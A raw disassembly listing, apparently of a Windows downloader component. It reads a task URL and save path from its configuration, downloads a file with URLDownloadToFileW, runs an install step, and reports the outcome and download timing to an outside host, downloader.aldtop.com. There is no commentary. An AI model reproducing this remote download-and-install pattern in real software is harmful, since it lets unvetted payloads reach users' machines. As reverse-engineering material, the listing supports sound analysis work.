mov byte [ebp - 0x3f4], 0
call fcn.0040eb70
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x43c]
push 6
push str.Config
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x428], 0xf
mov byte [ebp - 0x43c], 0
call fcn.0040eb70
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x258]
cmp dword [ebp - 0x244], 8
mov ecx, 0x67f530
cmovae eax, dword [ebp - 0x258]
push eax
lea eax, [ebp - 0x40c]
push eax
push edi
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x43c]
push eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040bcc0
mov ecx, eax
call fcn.0040d1b0
mov ecx, eax
call fcn.004866f0
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x428]
cmp edx, 0x10
jb 0x455d46
mov ecx, dword [ebp - 0x43c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x455d3c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x456506
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x3e0]
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x428], 0xf
mov byte [ebp - 0x43c], 0
cmp edx, 0x10
jb 0x455d9f
mov ecx, dword [ebp - 0x3f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x455d95
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45650b
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x3f8]
mov dword [ebp - 0x3e4], 0
mov dword [ebp - 0x3e0], 0xf
mov byte [ebp - 0x3f4], 0
cmp edx, 0x10
jb 0x455df8
mov ecx, dword [ebp - 0x40c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x455dee
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x456510
push edx
push ecx
call fcn.004d0c91
add esp, 8
lea ecx, [ebp - 0x258]
call fcn.0040f8c0
lea ecx, [ebp - 0x2bc]
mov byte [ebp - 4], 6
call fcn.0040f8c0
lea ecx, [ebp - 0x2d4]
call fcn.0040f8c0
jmp 0x455f06
push 8
push str.savepath
lea ecx, [ebp - 0x3f4]
mov dword [ebp - 0x3e4], 0
mov dword [ebp - 0x3e0], 0xf
mov byte [ebp - 0x3f4], 0
call fcn.0040eb70
lea eax, [ebp - 0x258]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0x45c]
call fcn.0040d1b0
mov ecx, eax
call fcn.00441460
mov edx, eax
mov byte [ebp - 4], 0x11
cmp dword [edx + 0x14], 8
jb 0x455e81
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x455e86
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x288]
call fcn.00417d60
lea ecx, [ebp - 0x258]
call fcn.0040f8c0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x3e0]
cmp edx, 0x10
jb 0x455eeb
mov ecx, dword [ebp - 0x3f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x455ee1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x456515
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov dword [ebp - 0x3e4], 0
mov dword [ebp - 0x3e0], 0xf
mov byte [ebp - 0x3f4], 0
cmp dword [ebp - 0x278], 0
je 0x4564aa
push 0x208
lea eax, [ebp - 0x21c]
push 0
push eax
call fcn.0056c1d0
mov eax, dword [0x67f4f4]
lea ecx, [ebp - 0x288]
add esp, 0xc
cmp dword [ebp - 0x274], 8
cmovae ecx, dword [ebp - 0x288]
add eax, 0x518
cmp dword [eax + 0x14], 8
jb 0x455f4f
mov eax, dword [eax]
push ecx
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
mov edi, dword [sym.imp.KERNEL32.DLL_GetSystemTimeAsFileTime]
lea eax, [ebp - 0x228]
push eax
call edi
mov ecx, dword [ebp - 0x228]
mov eax, dword [ebp - 0x224]
sub ecx, 0xd53e8000
push 0
push 0x2710
sbb eax, 0x19db1de
push eax
push ecx
call fcn.004d1c30
push 7
push str.taskurl
lea ecx, [ebp - 0x3f4]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], edx
mov dword [ebp - 0x3e4], 0
mov dword [ebp - 0x3e0], 0xf
mov byte [ebp - 0x3f4], 0
call fcn.0040eb70
lea eax, [ebp - 0x2f4]
mov byte [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0x45c]
call fcn.0040d1b0
mov ecx, eax
call fcn.00441460
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x3e0]
cmp edx, 0x10
jb 0x45602d
mov ecx, dword [ebp - 0x3f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x456023
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45651a
push edx
push ecx
call fcn.004d0c91
add esp, 8
push 7
push str.taskurl
lea ecx, [ebp - 0x40c]
mov dword [ebp - 0x3e4], 0
mov dword [ebp - 0x3e0], 0xf
mov byte [ebp - 0x3f4], 0
mov dword [ebp - 0x3fc], 0
mov dword [ebp - 0x3f8], 0xf
mov byte [ebp - 0x40c], 0
call fcn.0040eb70
lea eax, [ebp - 0x258]
mov byte [ebp - 4], 0x15
push eax
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x45c]
call fcn.0040d1b0
mov ecx, eax
call fcn.00441460
cmp dword [eax + 0x14], 8
jb 0x4560a1
mov eax, dword [eax]
push 0
push 0
lea ecx, [ebp - 0x21c]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea ecx, [ebp - 0x258]
mov esi, eax
call fcn.0040f8c0
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x3f8]
cmp edx, 0x10
jb 0x456100
mov ecx, dword [ebp - 0x40c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4560f6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45651f
push edx
push ecx
call fcn.004d0c91
add esp, 8
lea eax, [ebp - 0x290]
push eax
call edi
mov ecx, dword [ebp - 0x290]
mov eax, dword [ebp - 0x28c]
sub ecx, 0xd53e8000
push 0
push 0x2710
sbb eax, 0x19db1de
push eax
push ecx
call fcn.004d1c30
mov edi, eax
lea ecx, [ebp - 0x270]
sub edi, dword [ebp - 0x220]
mov ebx, edx
sbb ebx, dword [ebp - 0x224]
test esi, esi
jne 0x45645e
push 8
push str.down_yes
call fcn.00417d60
lea ecx, [ebp - 0x3dc]
call fcn.0048ea10
mov esi, dword [ebp - 0x444]
mov eax, ecx
push eax
push esi
mov byte [ebp - 4], 0x16
call fcn.0047ac50
lea eax, [ebp - 0x388]
push eax
lea ecx, [ebp - 0x240]
call fcn.0040c5c0
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x318], 0
je 0x4561cd
push 1
push 0x64c0bc
lea ecx, [ebp - 0x240]
call fcn.00427540
cmp dword [ebp - 0x314], 8
lea eax, [ebp - 0x328]
push dword [ebp - 0x318]
cmovae eax, dword [ebp - 0x328]
lea ecx, [ebp - 0x240]
push eax
call fcn.00427540
cmp dword [ebp - 0x22c], 8
lea ecx, [ebp - 0x240]
cmovae ecx, dword [ebp - 0x240]
xor edx, edx
push ecx
call fcn.004a8a40
add esp, 4
mov dword [ebp - 0x220], eax
push 4
push str.General
call fcn.0047f920
test eax, eax
je 0x456221
mov eax, dword [0x67f4f4]
mov eax, dword [eax + 0xb34]
test eax, eax
je 0x456221
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x3dc]
push ecx
call eax
cmp dword [ebp - 0x220], 0
je 0x456430
push 7
push str.success
lea ecx, [ebp - 0x40c]
mov dword [ebp - 0x3fc], 0
mov dword [ebp - 0x3f8], 0xf
mov byte [ebp - 0x40c], 0
call fcn.0040eb70
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x424]
push 5
push str.Tasks
mov dword [ebp - 0x414], 0
mov dword [ebp - 0x410], 0xf
mov byte [ebp - 0x424], 0
call fcn.0040eb70
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x43c]
push 6
push str.Config
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x428], 0xf
mov byte [ebp - 0x43c], 0
call fcn.0040eb70
lea eax, [ebp - 0x40c]
mov byte [ebp - 4], 0x1a
push eax
push esi
lea eax, [ebp - 0x424]
mov ecx, 0x67f530
push eax
lea eax, [ebp - 0x43c]
push eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040bcc0
mov ecx, eax
call fcn.0040d1b0
mov esi, eax
cmp dword [esi + 8], 8
je 0x45630c
mov ecx, esi
call fcn.0040dac0
mov dword [esi + 8], 8
mov byte [esi], 1
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x428]
cmp edx, 0x10
jb 0x45634d
mov ecx, dword [ebp - 0x43c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x456343
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x456524
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x410]
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x428], 0xf
mov byte [ebp - 0x43c], 0
cmp edx, 0x10
jb 0x4563a6
mov ecx, dword [ebp - 0x424]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45639c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x456529
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x3f8]
mov dword [ebp - 0x414], 0
mov dword [ebp - 0x410], 0xf
mov byte [ebp - 0x424], 0
cmp edx, 0x10
jb 0x4563ff
mov ecx, dword [ebp - 0x40c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4563f5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45652e
push edx
push ecx
call fcn.004d0c91
add esp, 8
lea ecx, [ebp - 0x2dc]
call fcn.00452450
call fcn.00452580
lea ecx, [ebp - 0x2dc]
call fcn.00452510
mov ecx, dword [ebp - 0x3dc]
mov edx, eax
call fcn.0041fb70
push 0xb
push str.install_yes
jmp 0x456437
push 0xa
push str.install_no
lea ecx, [ebp - 0x270]
call fcn.00417d60
lea ecx, [ebp - 0x240]
call fcn.0040f8c0
lea ecx, [ebp - 0x3dc]
mov byte [ebp - 4], 0x14
call fcn.00456540
jmp 0x45646a
push 7
push str.down_no
call fcn.00417d60
cmp dword [ebp - 0x25c], 8
lea eax, [ebp - 0x270]
push ebx
cmovae eax, dword [ebp - 0x270]
push edi
push eax
push dword [ebp - 0x440]
push str.taskid_dmode_sdowntime_d
push str.http:__downloader.aldtop.com_client_debug
push dword [0x67f4f4]
call fcn.00477f90
add esp, 0x1c
lea ecx, [ebp - 0x2f4]
call fcn.0040f8c0
lea ecx, [ebp - 0x45c]
call fcn.0040f9f0
lea ecx, [ebp - 0x270]
call fcn.0040f8c0
lea ecx, [ebp - 0x288]
call fcn.0040f8c0
mov eax, dword [ebp - 0x448]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004d0a85
mov esp, ebp
pop ebp
ret
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
int3